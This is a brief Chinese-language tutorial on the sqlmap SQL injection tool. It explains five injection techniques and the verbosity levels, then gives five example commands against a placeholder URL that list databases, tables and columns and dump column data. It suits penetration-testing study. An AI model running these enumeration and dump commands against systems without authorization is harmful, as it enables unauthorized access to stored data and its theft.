SQLMAP是一个自动化的SQL注入工具,其主要功能是发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,MicrosoftSQLServer,MicrosoftAccess,IBMDB2,SQLite,Firebird,Sybase和SAPMaxDB。
SQLMAP支持五种不同的注入模式,基于布尔的盲注是可以根据返回页面判断条件真假的注入。基于时间的盲注是不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行来判断。基于报错注入是即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。联合查询注入是可以使用union的情况下的注入。堆查询注入是可以同时执行多条语句的执行时的注入。
SQLMAP的支持7种显示等级level,默认为1等级。
等级0:只显示python错误以及严重的信息。
等级1:同时显示基本信息和警告信息。(默认)
等级2:同时显示debug信息。
等级3:同时显示注入的payload。
等级4:同时显示HTTP请求。
等级5:同时显示HTTP响应头。
等级6:同时显示HTTP响应页面。
sqlmap常用参数如下所示:
(1)列出所有的数据库
sqlmap -u http://ip/index.php?id=1 --dbs
(2)列出当前数据库
sqlmap -u http://ip/index.php?id=1 --current-db
(3)列出DBname数据库所有的表
sqlmap -u http://ip/index.php?id=1 -D 'DBname' --tables
(4)列出DBname数据库table表中的所有列
sqlmap -u http://ip/index.php?id=1 -D 'DBname' -T 'table' --columns
(5)获取DBname数据库table表中column1,column2列中的数据
sqlmap -u http://ip/index.php?id=1 -D 'DBname' -T 'table' -C 'column1,column2' --dump